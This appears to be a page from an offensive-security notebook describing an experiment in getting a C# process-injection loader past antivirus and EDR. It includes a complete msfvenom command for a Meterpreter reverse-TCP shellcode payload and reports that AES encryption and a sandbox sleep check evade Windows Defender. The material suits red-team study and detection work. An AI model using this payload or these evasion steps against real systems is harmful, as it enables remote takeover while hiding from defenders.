> For the complete documentation index, see [llms.txt](https://rfc1918.gitbook.io/offsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rfc1918.gitbook.io/offsec/defence-evasion/anti-virus-evasion/evasion-and-bypassing-detection-within-c.md).

# Evasion and bypassing detection within C\#

## Overview

AV and EDR bypass techniques for C# assembly payloads.

## Experiment

In this experiment we will be using the NTAPI injector as our baseline. 

{% content-ref url="/pages/zcnaefpTGZz8T2zoRRxC" %}
[Using NTAPI Undocumented Functions](/offsec/execution/c-.net-assembly/process-injection/using-ntapi-undocumented-functions.md)
{% endcontent-ref %}

### Msfvenom payload

```bash
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f raw EXITFUNC=thread -o shellcode.bin
```

### Injector without any shellcode

For our baseline we tested the raw injector code without any shellcode in the payload.

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2FII1p6bkruOwLI8TlH38d%2Fimage.png?alt=media&amp;token=664cf3b2-568d-4fa5-9080-b25966d43975" alt=""><figcaption></figcaption></figure>

### Raw Meterpreter payload shellcode

Running injector with raw Meterpreter shellcode.

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2Fo4LSTBDQ6MqTsOTELxfu%2Fimage.png?alt=media&amp;token=db4faae7-587e-424d-95b2-25c9e39e057e" alt=""><figcaption></figcaption></figure>

### Using AES encryption

Encrypting the shellcode using AES&#x20;

{% content-ref url="/pages/1rwkFoTLPIVz2E31kg6M" %}
[Aes encryptor](/offsec/defence-evasion/anti-virus-evasion/evasion-and-bypassing-detection-within-c/encryptors/aes-encryptor.md)
{% endcontent-ref %}

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2F1n54nEetAe57dgZgyWyc%2Fimage.png?alt=media&amp;token=0956d73f-fdd6-4152-8f1e-ed1fdf7ea17a" alt=""><figcaption></figcaption></figure>

### Runner it twice and defender is not so nice

So interesting, when executing it a second time Defenders behavioral analysis flagged and blocked execution.

Adding a sleep accelerator check to bypass sandboxing seems to do the trick to bypass this a second time.&#x20;

{% content-ref url="/pages/0tsS3qdV4OKDjSaSBC12" %}
[Time accelerated checks](/offsec/defence-evasion/anti-virus-evasion/evasion-and-bypassing-detection-within-c/sandbox-evasion/time-accelerated-checks.md)
{% endcontent-ref %}

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2FcPn4GUZpVq3dZOKShoJC%2Fimage.png?alt=media&amp;token=bec1c117-7dd1-4e8b-b950-fe776570864f" alt=""><figcaption></figcaption></figure>

## References&#x20;

{% content-ref url="/pages/MWi4Jv5tjMaoEhRE2KSn" %}
[C# .Net Assembly](/offsec/execution/c-.net-assembly.md)
{% endcontent-ref %}